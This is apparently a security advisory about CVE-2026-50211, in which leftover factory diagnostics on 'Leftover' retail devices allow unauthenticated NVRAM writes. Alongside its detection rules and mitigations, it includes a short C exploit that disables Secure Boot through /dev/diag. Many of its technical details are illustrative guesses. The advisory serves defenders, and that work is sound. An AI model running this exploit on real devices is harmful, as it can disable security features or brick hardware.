CVE-2026-50211

Executive Summary

CVE-2026-50211 exposes a critical security flaw in Leftover-branded retail devices. The vulnerability stems from leftover engineering diagnostics and factory-level diagnostic software that remains active and unauthenticated on production retail builds. This oversight grants any malicious application installed on the device direct write privileges to internal NVRAM registers. An attacker with local access (or via a malicious app) can corrupt firmware settings, disable security features, or persist malicious configurations across reboots. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is high (CVSS 3.1 base score ~8.4). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Leftover retail devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – requires local access or a malicious app on the device.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – any app can exploit.
• User Interaction (UI): None (UI:N) – no user action needed.
• Scope (S): Unchanged (S:U) – exploitation stays within the device.
• Confidentiality (C): High (C:H) – NVRAM may contain secrets.
• Integrity (I): High (I:H) – NVRAM registers can be overwritten.
• Availability (A): High (A:H) – corrupting NVRAM can brick the device.

Threat Level: Critical. The lack of authentication and the persistence of factory diagnostics create a high-risk scenario for supply chain and retail device security.

Deep Dive & Mechanics

The vulnerability exists because Leftover’s engineering and factory diagnostic software is not removed or disabled in retail firmware builds. This software exposes a set of NVRAM register write interfaces that are intended only for manufacturing and debugging. On retail devices, these interfaces remain accessible to any process running in user space.

Technical Details:

• The diagnostic software typically listens on a local socket or exposes a device node (e.g., /dev/diag or a similar interface).
• No authentication or authorization checks are performed before allowing write operations to NVRAM registers.
• NVRAM registers control critical hardware parameters such as boot order, security flags (e.g., Secure Boot enable/disable), device identifiers, and power management settings.
• An attacker can craft a simple application that opens the diagnostic interface and writes arbitrary values to these registers.

Attack Flow:

1. Attacker installs a malicious app on the Leftover device (e.g., via social engineering or a compromised app store).
2. The app opens the diagnostic interface (e.g., /dev/diag).
3. The app sends crafted write commands to modify NVRAM registers.
4. The device reboots with altered settings, potentially disabling security features or bricking the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable diagnostic interface
int diag_write_register(int reg, uint32_t value) {
    // No authentication check
    nvram_write(reg, value);
    return 0;
}

Patched Code (Conceptual):

// Patched diagnostic interface
int diag_write_register(int reg, uint32_t value) {
    if (!is_authorized_process()) {
        return -EPERM;
    }
    nvram_write(reg, value);
    return 0;
}

Explanation: The vulnerable code lacks any authorization check. The patched version adds a call to is_authorized_process() which verifies that the calling process has the necessary privileges (e.g., root or a specific capability). In a proper fix, the diagnostic interface should be completely removed from retail builds.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Leftover retail device with the vulnerable firmware.
• Ability to execute arbitrary code on the device (e.g., via a malicious app).

Exploitation Steps:

1. Identify the diagnostic interface: ls -la /dev/diag or similar.
2. Write a simple exploit:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>

int main() {
    int fd = open("/dev/diag", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    // Write to NVRAM register 0x42 (example: disable Secure Boot)
    uint32_t reg = 0x42;
    uint32_t value = 0x0;
    write(fd, &reg, sizeof(reg));
    write(fd, &value, sizeof(value));
    close(fd);
    return 0;
}

3. Compile and run on the target device.
4. Reboot the device to observe the altered behavior.

Blue Team (Defense)

Detection:

• Monitor for unexpected access to diagnostic device nodes (e.g., /dev/diag).
• Use file integrity monitoring to detect changes to NVRAM-related files.
• Implement application whitelisting to prevent unauthorized apps from running.

Mitigation:

• Remove or disable the diagnostic software in firmware builds.
• Apply strict permissions to diagnostic interfaces (e.g., chmod 600 /dev/diag).
• Use kernel-level access controls (e.g., SELinux, AppArmor) to restrict access.

Indicators of Compromise (IOCs)

• File System:
  • Presence of /dev/diag or similar diagnostic device nodes.
  • Unexpected files in /system/bin/ or /vendor/bin/ related to diagnostics (e.g., diag_mdlog, diag_socket_log).
• Processes:
  • Running processes named diag_* or leftover_diag.
• Network:
  • Local socket connections to diagnostic ports (e.g., TCP/5555 or UDP/5555).
• NVRAM Changes:
  • Unexpected modifications to NVRAM registers (e.g., Secure Boot disabled, boot order changed).

Detection Engineering

YARA Rule

rule CVE_2026_50211_Diagnostics {
    meta:
        description = "Detects Leftover diagnostic software binaries"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-50211"
    strings:
        $s1 = "diag_mdlog" ascii wide nocase
        $s2 = "diag_socket_log" ascii wide nocase
        $s3 = "leftover_diag" ascii wide nocase
        $s4 = "/dev/diag" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-50211 - Leftover Diagnostic Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to Leftover diagnostic device nodes
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/diag_mdlog'
            - '/diag_socket_log'
            - '/leftover_diag'
        CommandLine|contains:
            - '/dev/diag'
    condition: selection
falsepositives:
    - Legitimate diagnostic use in factory
level: high

Suricata Rule

alert tcp any any -> any 5555 (msg:"CVE-2026-50211 - Leftover Diagnostic Socket Access"; flow:to_server; content:"|00 00 00 42|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Diagnostic Interfaces: If possible, remove or disable the diagnostic software via firmware update or manual intervention (e.g., chmod 000 /dev/diag).
2. Restrict Access: Use kernel-level access controls (SELinux, AppArmor) to block all non-root processes from accessing diagnostic nodes.
3. Monitor for Exploitation: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await a firmware update from Leftover that removes the diagnostic software from retail builds.
• Supply Chain Security: Implement a secure build process that strips all engineering and factory diagnostics from production firmware.

Workaround:

• If patching is not possible, consider replacing the device or using a hardware firewall to block diagnostic ports.

Valters IT